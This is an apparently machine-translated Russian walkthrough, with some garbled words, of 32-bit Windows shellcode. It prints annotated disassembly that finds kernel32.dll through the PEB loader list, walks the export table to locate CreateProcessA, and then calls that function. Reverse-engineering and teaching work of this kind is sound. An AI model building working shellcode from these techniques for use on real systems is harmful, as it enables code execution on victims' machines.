Windows API не определены в терминах системных вызовов, как это происходит в Linux / BSD.
Чтобы вызвать API, программа должна загрузить содержащую DLL и найти адрес экспортированной процедуры (эта процедура можетот полной реализации API до небольшой заглушки вокруг инструкции actall syscall
.
Чтобы шелл-код мог вызывать API, он должен загрузить DLL и найти экспортированную процедуру API.
Некоторые библиотеки DLL всегда загружаются, даже если в PE загруженной программы не прослушивается зависимость, среди них kernel32.dll
.
Первая часть шелл-кода находит базовый адрес kernel32.dll
это достигается путем использования структуры PEB_LDR_DATA
.
Эта структура содержит список загруженных модулей (DLL) вместе с их именами и базовыми адресами.
На самом деле существует три двойных ссылкисписки, все указывают на одни и те же объекты, но в другом порядке и с немного отличающимися смещениями.
шеллкод использует список InInitializationOrderModuleList
.
PEB_LDR_DATA
находится в PEB
, который, в свою очередь, находится в TEB
.
. TEB
расположен всегмент, обозначенный fs
.
Напомним:
FS -> TEB -> PEB -> PEB_LDR_DATA -> InInitializationOrderModuleList
Здесь описание первой части
; Zeroes EBX
0: 31 db xor ebx,ebx
; FS points to the TEB, TEB+0x30 is a pointer to the PEB
2: 64 8b 7b 30 mov edi,DWORD PTR fs:[ebx+0x30]
; PEB+0xc is a pointer to PEB_LDR_DATA
6: 8b 7f 0c mov edi,DWORD PTR [edi+0xc]
; PEB_LDR_DATA is a pointer to InInitializationOrderModuleList
; EDI points to a LIST_ENTRY structure
9: 8b 7f 1c mov edi,DWORD PTR [edi+0x1c]
; Start of a loop
; EAX = Base address of the current module
c: 8b 47 08 mov eax,DWORD PTR [edi+0x8]
; ESI = Ptr to UNICODE basename of the current module
f: 8b 77 20 mov esi,DWORD PTR [edi+0x20]
; EDI = Ptr to FLink member
; Move the pointer to the next item
12: 8b 3f mov edi,DWORD PTR [edi]
; Check if character 7 of the DLL base name is 3 (matches kernel32.dll)
14: 80 7e 0c 33 cmp BYTE PTR [esi+0xc],0x33
18: 75 f2 jne 0xc
Что может сбить с толку, так это то, что член InInitializationOrderModuleList
является указателем наLIST_ENTRY
структура, это переменная структура размера;в смещениях 0 и 4 должны быть элементы FLink
и BLink
, за которыми следуют пользовательские данные.Windows сохраняет только одну LDR_MODULE
структуру для каждой DLL, три списка просто переставляются так, чтобы при их обходе формировался ожидаемый порядок.
Далее каждый список указывает на смещение в LDR_MODULE
, в частности элементы InInitializationOrderModuleList
указывают на InInitializationOrderLinks
член LDR_MODULE
.
Более подробное и подробное объяснение см. здесь .
Конечным результатом первой части является то, что базовый адрес kernel32.dll
находится в eax
.
Базовый адрес важен, поскольку Windows хранит заголовки MZ и PE в памяти, поэтому загруженный модуль - это просто «расширенный» PE.
В частности, это действительный PE.
Макет PE можно найти в Википедии .
Вторая часть шеллкода попытается найти адрес CreateProcessA
.
Для этого нужно пройти секцию экспорта PE.
Большинство (Все?) Полей взаголовки смещены относительно начала самих заголовков, когда файл загружается в память, смещение называется RVA (относительный виртуальный адрес относительно базового адреса).
Таким образом, вы увидите несколько add
преобразовать RVA в VA (абсолютный виртуальный адрес).
Секция экспорта задокументирована, например, здесь .
Есть таблица с указателями на имена экспортируемых функций, эта таблица связана (по индексу)с таблицей ординалов.
Если имя CreateWindowEx
имеет индекс 3 в таблице имен, взглянув на индекс 3 в таблице ординалов, мы можем найти его порядковый номер.
Порядковый номер функциипросто указатель в таблицу адресов точек входа.
Структура выстроена так, что можно быстро найти функцию по ее порядковому номеру, но можно сделать дополнительный шаг и использовать вместо этого имя.
Напомним:
Base address -> PE header -> Export section -> Index of "CreateProcessA" in the names table -> Index of "CreateProcessA" in the ordinals table -> Entry-point of "CreateProcessA"
Код комментария:
;EDI = MZ Header
1a: 89 c7 mov edi,eax
;EDI = PE Header
1c: 03 78 3c add edi,DWORD PTR [eax+0x3c]
;EDX = Export section RVA
1f: 8b 57 78 mov edx,DWORD PTR [edi+0x78]
;EDX = Export section VA
22: 01 c2 add edx,eax
;EDI = VA of Names table
24: 8b 7a 20 mov edi,DWORD PTR [edx+0x20]
27: 01 c7 add edi,eax
; Start of a loop over the names
; I = 0
29: 89 dd mov ebp,ebx
; ESI = ptr to the exported function name
2b: 8b 34 af mov esi,DWORD PTR [edi+ebp*4]
2e: 01 c6 add esi,eax
; I++
30: 45 inc ebp
; Name starts with 'Crea'
; Mind the endianness
31: 81 3e 43 72 65 61 cmp DWORD PTR [esi],0x61657243
37: 75 f2 jne 0x2b
; Name has 'oces' at char 9?
; Mind the endianness
39: 81 7e 08 6f 63 65 73 cmp DWORD PTR [esi+0x8],0x7365636f
40: 75 e9 jne 0x2b
;Name CreateProcessA found
;EBP = Index into the names table of CreateProcessA
; EDI = VA of the Ordinals table
42: 8b 7a 24 mov edi,DWORD PTR [edx+0x24]
45: 01 c7 add edi,eax
; BP = Ordinal number of CreateProcessA
47: 66 8b 2c 6f mov bp,WORD PTR [edi+ebp*2]
; EDI = VA of the Entry-points table
4b: 8b 7a 1c mov edi,DWORD PTR [edx+0x1c]
4e: 01 c7 add edi,eax
; EDI = VA of CreateProcessA
50: 8b 7c af fc mov edi,DWORD PTR [edi+ebp*4-0x4]
54: 01 c7 add edi,eax
Конечный результат части 2 - это адрес CreateProcessA
Третья и последняя часть просто вызывает CreateProcessA
.
Единственная странная часть - это
56: 89 d9 mov ecx,ebx
58: b1 ff mov cl,0xff
5a: 53 push ebx
5b: e2 fd loop 0x5a
, который создает буфер нулей по 255 * 4 байта, мне кажется бесполезным.
Остальное должно быть обычным видом шелл-кодапривыкли к.
Хотя этот шелл-код немного утомителен, я советую хотя бы раз в своей карьере пройти его самостоятельно.
Я имею в виду его повторную проверку, проверку смещений и т. Д.
Это важно, потому что этот вид шелл-кода довольно стандартен (любая песочница его обнаружит) и может рассматриваться как основной блок для более продвинутых методов.
Также обратите внимание на ярлыки, принятые шеллкодом: он не на 100% безопасен (он не проверяет точно kernel32.dll
и CreateProcessA
), но он верен достаточно для работы.
Это тоже очень типично.